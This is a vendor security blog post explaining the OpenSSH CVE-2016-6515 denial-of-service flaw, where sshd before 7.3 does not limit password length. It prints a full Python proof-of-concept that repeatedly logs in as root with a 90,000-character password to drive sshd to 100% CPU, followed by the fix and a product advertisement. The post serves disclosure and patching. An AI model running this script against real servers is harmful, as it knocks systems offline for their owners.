SecPod

Learn Search

Search across all Learn content

← Back to Security Research
OpenSSH Crypt CPU Consumption

OpenSSH Crypt CPU Consumption

OpenSSH is a free suite of connectivity tools, aka OpenBSD Secure Shell, which provides secure encryption for remote login and file transfer between two hosts over a network. A Vulnerability Management tool can resolve the attacks on OpenSSH Vulnerabilities (CVE-2016-6515).

Aug 23, 2016By Kashinath T3 min read
Untitled-3
Untitled-3

OpenSSH is a free suite of connectivity tools, aka OpenBSD Secure Shell, which provides secure encryption for remote login and file transfer between two hosts over a network. A Vulnerability Management tool can resolve the attacks on OpenSSH Vulnerabilities (CVE-2016-6515).

CVE-2016-6515 (Denial of Service Vulnerability)

It is in discovery that the OpenSSH server incorrectly handles password hashing while authenticating non-existing users. In OpenSSH, versions prior to 7.3, the ‘auth_password’ function in the ‘auth_passwd.c’ script used in sshd does not limit the length of the password. This allows remote attackers to cause a denial of service against the system’s crypt function via sshd. Vulnerability Management Software is the solution to prevent these attacks.

How does it actually work? Here is the Proof of Concept:

If the remote machine is installed and running the OpenSSH version prior to 7.3, it does not limit the password length for authentication. Hence, to exploit this vulnerability, we will send crafted data of 90000 characters in length, to the ‘password’ field while attempting to log in to a remote machine via ssh with the username as ‘root’.

PoC Code:

plaintext
#######################################################################
# Open SSH DoS Vulnerability PoC Code
#
# Author:
# Kashinath T
#
# Date: 2016/08/25
#######################################################################

import paramiko
import sys
from random import choice
from string import lowercase

class ssh_exploit:

    def __init__(self):
        """
        Initialise the objects
        """

    def ssh_login(self, remote_ip):
    
        try:
        ##Crafted password of length 90000
        passwd_len = 90000
            crafted_passwd = "".join(choice(lowercase) for i in range(passwd_len))

            ##Connect to a remote machine via ssh
        ssh = paramiko.SSHClient()
        ssh.load_system_host_keys()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        ##calling connect in infinite loop
        print "[+] Entering infinite loop"
        while 1:
                ssh.connect(remote_ip, username='root', password=crafted_passwd)
              
    except Exception, msg:
            print "Error in connecting to remote host : ", remote_ip
            print "Exception in : ssh_login method."
            sys.exit(msg)

def main():

    if len(sys.argv) != 2:
        print "\n\nEnter Ip of a remote machine\n\n"
        print "usage: python ssh.py 192.168.x.x"
        sys.exit();
        
    ##Calling ssh_connect 
    ref_obj = ssh_exploit()
    ref_obj.ssh_login(sys.argv[1])

if __name__ == "__main__":
    main()

The result of exploiting the OpenSSH DoS vulnerability can be seen in the below screenshot.

SSHCPU
SSHCPU

The remote attacker can perform a timely attack to exploit this issue, cause the application to enter into an infinite loop, and consume excessive CPU resources (as seen in the above snapshot, where CPU usage is 100% by sshd). The impact of this exploit results in a total shutdown of the affected resource. Also, the attacker can render the resource completely unavailable.

Affected Versions:  OpenSSH Version Prior to 7.3 via CVE-2016-6515

Fix: The issue is of no importance by updating the package OpenSSH to version 7.3.

SecPod Saner detects these vulnerabilities and automatically fixes them by applying security updates. Download SanerNow and keep your systems updated and secure.

Featured Posts

Open Agentic AI in the Wild: How AI-Driven Attacks Are Changing Vulnerability Management
Agentic AI in the Wild: How AI-Driven Attacks Are Changing Vulnerability Management

CVE Research

Agentic AI in the Wild: How AI-Driven Attacks Are Changing Vulnerability Management

Oct 30, 2026

Open WARP PANDA Weaponizes VMware ESXi Zero-Day Logging Gap to Evade Audit Visibility
WARP PANDA Weaponizes VMware ESXi Zero-Day Logging Gap to Evade Audit Visibility

CVE Research

WARP PANDA Weaponizes VMware ESXi Zero-Day Logging Gap to Evade Audit Visibility

China-nexus threat actor Warp Panda exploited an insufficient logging zero-day in VMware ESX (CVE-2026-41709) to blind audit visibility, deploying BRICKSTORM malware and hijacking Microsoft 365 accounts across targeted U.S. legal networks

Oct 30, 2026

Open Cisco Firewall Zero-Day Under Attack: Hackers Exploit SSL VPN Flaw to Crash ASA and FTD Devices
vulnerability researchCisco Firewall Zero-Day Under Attack: Hackers Exploit SSL VPN Flaw to Crash ASA and FTD Devices

CVE Research

Cisco Firewall Zero-Day Under Attack: Hackers Exploit SSL VPN Flaw to Crash ASA and FTD Devices

Oct 30, 2026

Open PolyShell: Critical Magento Flaw Allows Unauthenticated RCE, Exploited Since March 2026
vulnerability researchPolyShell: Critical Magento Flaw Allows Unauthenticated RCE, Exploited Since March 2026

CVE Research

PolyShell: Critical Magento Flaw Allows Unauthenticated RCE, Exploited Since March 2026

CVE-2026-48356 is a critical unrestricted file upload vulnerability in Adobe Commerce and Magento Open Source. Unauthenticated attackers can submit polyglot files through guest-cart REST item routes and write them under pub/media/custom_options/. When the web server executes or serves that path as PHP, the result can be remote code execution or stored XSS. Mass exploitation has been observed since March 2026, including links to CMS-block loaders on hundreds of stores. The issue is listed in the CISA KEV catalog. This article covers how the flaw works, campaign activity, indicators of compromise, affected and fixed versions under APSB26-73, and practical remediation steps.

Oct 29, 2026